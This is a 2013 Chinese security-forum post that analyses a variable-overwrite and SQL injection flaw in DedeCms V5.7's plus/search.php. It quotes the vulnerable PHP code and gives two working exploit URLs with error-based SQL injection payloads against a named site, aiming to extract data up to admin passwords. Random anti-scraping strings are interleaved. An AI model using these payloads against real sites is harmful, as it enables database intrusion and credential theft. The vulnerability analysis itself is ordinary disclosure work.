中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
W8 L2 c& r' d7 ~! t5 ^
作者:
c4rp3nt3r@0x50sec.org
. [2 o' X( l0 g. Y
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
& z( d! h. S2 s8 x
}0 u* B+ j9 n: I( m5 W
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
5 ?- N+ y3 U$ y) j/ x7 _
3 u, v' n9 R; P0 a# X# c1 M. i
============
- X: p( }! [* B# {' T+ g" N
$ r }9 W' I. M7 j
3 G. C. I; l* U' E3 P/ V! @
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
) |2 Q+ k9 N' u0 y" S* E. d
8 l4 `) U0 b' k- k; F
require_once(dirname(__FILE__).”/../include/common.inc.php”);
# x* p7 k. g* a- k; T, ~5 Y7 x
require_once(DEDEINC.”/arc.searchview.class.php”);
5 Y/ v8 ~2 ^9 `
8 X: W7 M4 V5 o
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
7 K/ B% c9 p, Y7 s F8 ]/ n
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
7 P" Z+ r* c# b5 `
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
s. j% \$ K6 t# ]0 K
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
5 l6 T5 G @% ^2 P. o0 S
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
# |+ F( ^7 b0 H8 T6 S
, |& N4 c" C6 m* T2 s1 g7 ]7 a
if(!isset($orderby)) $orderby=”;
$ R' O% {; S" E" N
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
8 H7 @ j% W& |! V0 q+ |
4 p% Z2 z4 \1 P. t
* j! Y3 t/ a/ q) b1 n+ ^
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
% v% K Z% ^% ~% Q* C
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
" B! m7 w! K: r" x
6 F% w) z& J0 O, e# R: t
if(!isset($keyword)){
- g8 E, l* n" g1 `0 `: n
if(!isset($q)) $q = ”;
. W5 {/ K- |# @. W8 b
$keyword=$q;
k( g$ p% i5 N* E
}
/ o# X* q- e, v% `( d; n
, y. J# I8 X' U' m5 p5 T1 e2 `, z
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
6 L0 J4 E6 [% Q" l" J) S4 T# p1 K5 w
# C9 R& o& h5 Z: G
//查找栏目信息
, ~* J9 `( I3 H! i9 w) u
if(empty($typeid))
: l# h5 Y: R' H6 h& z( f ^+ ~
{
- Q/ r+ g8 l t5 \5 O3 A
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
3 A5 R" F( H: C5 X+ x: H
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
8 B, b: ^, x2 y6 U/ V+ K
{
/ a# S- `& z# d- x& ~. k3 e a) \
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
' E! X% H/ C1 \* ]; T
fwrite($fp, “<”.”?php\r\n”);
8 g }+ }6 N! D6 O, e
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
. h! T/ {0 d$ O! v" s& D
$dsql->Execute();
1 X3 p* Q u/ E9 j; G( `$ [' v
while($row = $dsql->GetArray())
& w% i7 N+ r+ ?; h
{
3 Z* T, m: M+ ^+ m2 O: D$ a5 u
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
6 Z6 H, {: o. B( K5 p4 Q1 w8 d0 y
}
% o* I6 Z1 L" l5 F' ?2 G) C8 z, |
fwrite($fp, ‘?’.'>’);
4 L4 l, R" F' T6 T% g& U
fclose($fp);
0 m" z, ~1 z j! n k' Z, V6 |
}
; y9 \9 R: Y* S- U
//引入栏目缓存并看关键字是否有相关栏目内容
1 |2 K7 h2 b' Z2 q- m+ u
require_once($typenameCacheFile);
# B E& t, O4 ^# r G2 N
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
$ U" \, E- H+ ?8 r: ]
//
+ O) a0 S( E, F8 y4 r7 [! h
if(isset($typeArr) && is_array($typeArr))
" j) U2 l1 n( G4 |
{
* ~1 C( ?+ Q- s3 u
foreach($typeArr as $id=>$typename)
& W4 p1 p! e8 t! S+ Q
{
; h8 P- {5 C0 \& n
2 Z& X6 T. I2 ]- s4 A) b
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
7 a3 A B* J y# H; o
if($keyword != $keywordn)
4 }' s; \" M4 q+ {% ?& T- M+ y- K
{
/ A" ^) [* A1 ]) R9 P
$keyword = $keywordn;
" ^; r' d2 j" {2 o% b1 |
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
+ a- |2 w: c' c7 S+ }- l/ T
break;
# R5 {4 z- w# j
}
- x' [1 D9 f% w
}
! p0 c: Z- h4 [& b
}
4 u6 r: U8 V& z. w l7 |
}
3 ]1 r+ j; m8 o" B1 Q' @% P; S; ~3 R
然后plus/search.php文件下面定义了一个 Search类的对象 .
9 `) _, y! n; Y( d1 V
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
" O3 a. f+ B% z, U! n1 p
$this->TypeLink = new TypeLink($typeid);
. Z: W) n9 [8 S2 R' _+ d5 u) N+ i1 C e
7 V! x( v; O, K1 B* f
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
& p' V/ z4 h: l5 ~ I$ [
. }2 i* D0 ?' O" K6 l
class TypeLink
- T1 ^2 }8 t4 _6 w) `, M
{
- ~% K& }) E" s1 b/ S8 R' n
var $typeDir;
* p9 i) ~. y# s7 f4 Q% a
var $dsql;
% j( c; h/ u% ]
var $TypeID;
! B, M3 a! j2 y9 K, B- M
var $baseDir;
. {. V. K' k& w+ U& t
var $modDir;
2 {/ H) x7 r+ ~0 G
var $indexUrl;
" U6 G; ~. p0 H# A3 M, ?
var $indexName;
5 o3 A3 g5 k4 I5 L
var $TypeInfos;
l$ c4 z/ `3 U7 R5 `& E' W
var $SplitSymbol;
6 d# D( {& z- X1 g4 a+ O
var $valuePosition;
, b7 ~. T" p2 R, g+ \
var $valuePositionName;
1 N5 J7 N% M2 r# \. \5 U
var $OptionArrayList;//构造函数///////
5 {$ ?& `: p* d% N$ X' A
//php5构造函数
8 Y/ ~, Q5 v6 p' |# N3 t0 I; _/ D( I1 t+ A
function __construct($typeid)
; y6 g1 w# h; `# a; `/ _& y
{
. }; d" K1 g- f
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
) m; m1 r& Q$ W" P! k
$this->indexName = $GLOBALS['cfg_indexname'];
: x) ~( m$ I) p8 z
$this->baseDir = $GLOBALS['cfg_basedir'];
8 H# q% E9 R1 i, e3 }
$this->modDir = $GLOBALS['cfg_templets_dir'];
! I1 P( {$ h$ b2 D6 E5 L4 l! @% \
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
. Q Y+ ~/ P, |& K3 r( ]3 @
$this->dsql = $GLOBALS['dsql'];
% L; \& ?7 ^0 H
$this->TypeID = $typeid;
" d0 Q6 Q- J. {: W l
$this->valuePosition = ”;
& Y) m+ y! D8 q/ W
$this->valuePositionName = ”;
7 B4 Z. h7 O3 Z
$this->typeDir = ”;
* ~6 t7 P) ^$ U
$this->OptionArrayList = ”;
8 d4 Q4 {% t2 d/ G" F1 ]1 i Y
; i- ~1 \# H8 R f/ S" l' P5 q
//载入类目信息
6 J* m6 Z8 c& n' k P$ X* M
$ V" n9 i1 m0 P' K
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
' ~# {% M3 Y+ d* ^5 q- u1 V
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
$ N+ ^8 |! \' [- d& }2 ?
`#@__channeltype` ch
5 e- \& u9 G- t! [
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
1 M% d- f8 M6 d- E4 B
$ w: Y r5 T- G0 B' u0 H; J, d
if($typeid > 0)
* @1 C/ y; c6 c5 o3 r; V, Z
{
6 H( R) R. Q8 n( e% C
$this->TypeInfos = $this->dsql->GetOne($query);
6 Y4 S% O6 e" O' I
利用代码一 需要 即使magic_quotes_gpc = Off
* I4 w2 h. ?0 j; H/ _ G
. T9 S1 g& y" y m% I- Z
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
! m5 h. v. g6 P# B4 R' G1 z6 |
7 e* |: r5 l! z! Z6 t m! }
这只是其中一个利用代码… Search 类的构造函数再往下
3 k+ n. Y0 ~1 p2 W
$ S N/ K! Z: v6 Z& z' U L
……省略
7 U9 T" g- F% A ^. K, F5 ~
$this->TypeID = $typeid;
# }( U9 j2 @: p, r, P0 y
……省略
, h& N1 Y% U0 _- X+ p, k! i$ E
if($this->TypeID==”0″){
* ~! c- j* N5 z. H( R4 c, Y) T- S3 r
$this->ChannelTypeid=1;
/ d2 d+ d# t# ~- C, c3 T
}else{
$ O$ |4 V2 g4 K g% g% T
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
: s3 F3 G( @6 R
//现在不鸡肋了吧亲…
; N1 u* Q- X- n# Y9 p' ^5 [" H
$this->ChannelTypeid=$row['channeltype'];
% Y+ {% W4 B! n+ b) x6 q* |
; g% B2 @) o7 N0 W# M
}
6 @& Y. v k: v
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
) ~- M# h$ s$ h: u& I5 B
# p& E% U8 [7 i; J/ A
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
$ J! k. t4 z: r' J! W
- L2 | g9 o; I: q& @
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
( Q' R* f/ ?$ H# l# c4 t
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2